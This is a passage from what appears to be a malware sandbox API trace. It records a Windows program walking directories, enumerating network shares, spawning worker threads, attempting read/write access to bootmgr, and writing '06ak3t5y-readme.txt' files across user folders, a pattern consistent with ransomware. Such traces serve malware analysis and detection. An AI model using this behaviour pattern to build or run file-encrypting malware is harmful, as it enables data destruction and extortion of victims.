lpFileName="\\\\?\\C:\\Windows\\winsxs\\amd64_cxraptor_fm1216mk5_ibv64.inf_31bf3856ad364e35_6.1.7600.16385_none_6fc613b717a25720\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b3928f6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1b3b8a57, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1b3b8a57, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0072.175] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0072.176] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\winsxs\\amd64_cxraptor_fm1236mk5_ibv64.inf_31bf3856ad364e35_6.1.7600.16385_none_a0e6031d536a7892\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b3b8a57, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1b3b8a57, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1b3b8a57, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0072.178] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0072.179] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\winsxs\\amd64_cxraptor_philipstuv1236d_ibv64.inf_31bf3856ad364e35_6.1.7600.16385_none_a8ba31d06eb5b68e\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b3928f6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1b3928f6, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1b3928f6, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0072.181] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0085.045] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0091.621] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0093.028] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x18fe8c | out: lphEnum=0x18fe8c*=0x72d330) returned 0x0 [0093.827] WNetEnumResourceW (in: hEnum=0x72d330, lpcCount=0x18fe90, lpBuffer=0x206b7a8, lpBufferSize=0x18fe88 | out: lpcCount=0x18fe90, lpBuffer=0x206b7a8, lpBufferSize=0x18fe88) returned 0x0 [0093.828] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x206b7a8, lphEnum=0x18fe60 | out: lphEnum=0x18fe60*=0x6f9c50) returned 0x0 [0093.837] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x4000) returned 0x20722d0 [0093.837] WNetEnumResourceW (in: hEnum=0x6f9c50, lpcCount=0x18fe64, lpBuffer=0x20722d0, lpBufferSize=0x18fe5c | out: lpcCount=0x18fe64, lpBuffer=0x20722d0, lpBufferSize=0x18fe5c) returned 0x103 [0093.838] WNetCloseEnum (hEnum=0x6f9c50) returned 0x0 [0093.838] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x206b7c8, lphEnum=0x18fe60 | out: lphEnum=0x18fe60*=0x6f9c50) returned 0x4b8 [0110.234] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x206b7e8, lphEnum=0x18fe60 | out: lphEnum=0x18fe60*=0x6f9c50) returned 0x4c6 [0110.239] WNetEnumResourceW (in: hEnum=0x72d330, lpcCount=0x18fe90, lpBuffer=0x206b7a8, lpBufferSize=0x18fe88 | out: lpcCount=0x18fe90, lpBuffer=0x206b7a8, lpBufferSize=0x18fe88) returned 0x103 [0110.240] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x206b7a8) returned 1 [0110.240] WNetCloseEnum (hEnum=0x72d330) returned 0x0 [0110.240] HeapCreate (flOptions=0x0, dwInitialSize=0x100000, dwMaximumSize=0x0) returned 0x3880000 [0110.246] CreateIoCompletionPort (FileHandle=0xffffffff, ExistingCompletionPort=0x0, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0110.246] GetSystemInfo (in: lpSystemInfo=0x18fe38 | out: lpSystemInfo=0x18fe38*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5507)) [0110.247] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40293e, lpParameter=0x18fed0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x230 [0110.248] CloseHandle (hObject=0x230) returned 1 [0110.248] GetSystemInfo (in: lpSystemInfo=0x18fe38 | out: lpSystemInfo=0x18fe38*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5507)) [0110.248] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40293e, lpParameter=0x18fed0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x230 [0110.249] CloseHandle (hObject=0x230) returned 1 [0110.249] GetSystemInfo (in: lpSystemInfo=0x18fe38 | out: lpSystemInfo=0x18fe38*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5507)) [0110.249] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40293e, lpParameter=0x18fed0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x230 [0110.250] CloseHandle (hObject=0x230) returned 1 [0110.250] GetSystemInfo (in: lpSystemInfo=0x18fe38 | out: lpSystemInfo=0x18fe38*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5507)) [0110.250] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40293e, lpParameter=0x18fed0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x230 [0110.251] CloseHandle (hObject=0x230) returned 1 [0110.251] GetSystemInfo (in: lpSystemInfo=0x18fe38 | out: lpSystemInfo=0x18fe38*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5507)) [0110.251] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40293e, lpParameter=0x18fed0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x230 [0110.251] CloseHandle (hObject=0x230) returned 1 [0110.251] GetSystemInfo (in: lpSystemInfo=0x18fe38 | out: lpSystemInfo=0x18fe38*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5507)) [0110.251] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40293e, lpParameter=0x18fed0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x230 [0110.252] CloseHandle (hObject=0x230) returned 1 [0110.252] GetSystemInfo (in: lpSystemInfo=0x18fe38 | out: lpSystemInfo=0x18fe38*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5507)) [0110.252] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40293e, lpParameter=0x18fed0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x230 [0110.253] CloseHandle (hObject=0x230) returned 1 [0110.253] GetSystemInfo (in: lpSystemInfo=0x18fe38 | out: lpSystemInfo=0x18fe38*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5507)) [0110.253] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40293e, lpParameter=0x18fed0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x230 [0110.254] CloseHandle (hObject=0x230) returned 1 [0110.254] GetSystemInfo (in: lpSystemInfo=0x18fe38 | out: lpSystemInfo=0x18fe38*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5507)) [0110.254] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xfffe) returned 0x36a0f68 [0110.255] GetDriveTypeW (lpRootPathName="\\\\?\\A:\\") returned 0x1 [0110.255] GetDriveTypeW (lpRootPathName="\\\\?\\B:\\") returned 0x1 [0110.255] GetDriveTypeW (lpRootPathName="\\\\?\\C:\\") returned 0x3 [0110.256] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x2040300 [0110.256] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x10) returned 0x203faf8 [0110.256] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x203faf8) returned 1 [0110.256] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040300) returned 1 [0110.257] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x9565de80, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28df6900, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4, dwReserved1=0x6fcd80, cFileName="Boot", cAlternateFileName="")) returned 1 [0110.257] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0x9571c560, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x84a3bb2c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5db2a, dwReserved0=0x4, dwReserved1=0x6fcd80, cFileName="bootmgr", cAlternateFileName="")) returned 1 [0110.257] PathFindExtensionW (pszPath="bootmgr") returned="" [0110.257] RtlAllocateHeap (HeapHandle=0x3880000, Flags=0x8, Size=0x5dc7a) returned 0x38ff590 [0110.424] CreateFileW (lpFileName="\\\\?\\C:\\bootmgr" (normalized: "c:\\bootmgr"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0xffffffff [0110.425] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x38ff590) returned 1 [0110.428] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0x95957a00, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x95957a00, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x95957a00, ftLastWriteTime.dwHighDateTime=0x1d70554, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x4, dwReserved1=0x6fcd80, cFileName="BOOTSECT.BAK", cAlternateFileName="")) returned 1 [0110.428] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="Documents and Settings", cAlternateFileName="DOCUME~1")) returned 1 [0110.428] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xa384ad20, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0xa384ad20, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x9f4bb8e0, ftLastWriteTime.dwHighDateTime=0x1d75d36, nFileSizeHigh=0x0, nFileSizeLow=0x5ff9d000, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="hiberfil.sys", cAlternateFileName="")) returned 1 [0110.428] PathFindExtensionW (pszPath="hiberfil.sys") returned=".sys" [0110.428] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xa37fea60, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0xa37fea60, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x9f8e5f60, ftLastWriteTime.dwHighDateTime=0x1d75d36, nFileSizeHigh=0x0, nFileSizeLow=0x7ff7c000, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="pagefile.sys", cAlternateFileName="")) returned 1 [0110.428] PathFindExtensionW (pszPath="pagefile.sys") returned=".sys" [0110.428] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd72e458, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="PerfLogs", cAlternateFileName="")) returned 1 [0110.428] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xd69f8a60, ftLastAccessTime.dwHighDateTime=0x1d75d36, ftLastWriteTime.dwLowDateTime=0xd69f8a60, ftLastWriteTime.dwHighDateTime=0x1d75d36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="Program Files", cAlternateFileName="PROGRA~1")) returned 1 [0110.428] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x499a3700, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499a3700, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="Program Files (x86)", cAlternateFileName="PROGRA~2")) returned 1 [0110.428] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xe8a7c4d0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xe8a7c4d0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 1 [0110.429] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x7844bbf0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x78471d50, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x78471d50, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="Recovery", cAlternateFileName="")) returned 1 [0110.429] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x2040300 [0110.429] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x22) returned 0x20af9e8 [0110.429] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x48) returned 0x2067040 [0110.429] CreateFileW (lpFileName="\\\\?\\C:\\Recovery\\06ak3t5y-readme.txt" (normalized: "c:\\recovery\\06ak3t5y-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0110.430] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2067040) returned 1 [0110.430] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xa3740380, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x1dd28320, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x1dd28320, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="System Volume Information", cAlternateFileName="SYSTEM~1")) returned 1 [0110.430] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x791634f0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x791634f0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="Users", cAlternateFileName="")) returned 1 [0110.430] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x2040170 [0110.430] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x1c) returned 0x20affc0 [0110.430] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x42) returned 0x2067040 [0110.430] CreateFileW (lpFileName="\\\\?\\C:\\Users\\06ak3t5y-readme.txt" (normalized: "c:\\users\\06ak3t5y-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0110.430] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2067040) returned 1 [0110.430] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x45ef6ee0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x45ef6ee0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="Windows", cAlternateFileName="")) returned 1 [0110.430] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x45ef6ee0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x45ef6ee0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="windows", cAlternateFileName="")) returned 0 [0110.430] FindClose (in: hFindFile=0x72d330 | out: hFindFile=0x72d330) returned 1 [0110.431] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20af9e8) returned 1 [0110.431] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040300) returned 1 [0110.431] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Recovery\\*", lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x45ef6ee0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x45ef6ee0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="windows", cAlternateFileName="")) returned 0xffffffff [0110.431] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20affc0) returned 1 [0110.431] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040170) returned 1 [0110.431] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\*", lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x791634f0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x791634f0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName=".", cAlternateFileName="")) returned 0x72d330 [0110.431] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x791634f0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x791634f0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="..", cAlternateFileName="")) returned 1 [0110.431] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x6fcd80, cFileName="All Users", cAlternateFileName="ALLUSE~1")) returned 1 [0110.431] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x629b4b20, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x629b4b20, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x6fcd80, cFileName="Default", cAlternateFileName="")) returned 1 [0110.431] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x2040170 [0110.432] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x2c) returned 0x209bb90 [0110.432] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x52) returned 0x2069840 [0110.432] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\06ak3t5y-readme.txt" (normalized: "c:\\users\\default\\06ak3t5y-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0110.432] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2069840) returned 1 [0110.432] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="Default User", cAlternateFileName="DEFAUL~1")) returned 1 [0110.432] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x286e4016, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x286e4016, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28a4ffbc, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, 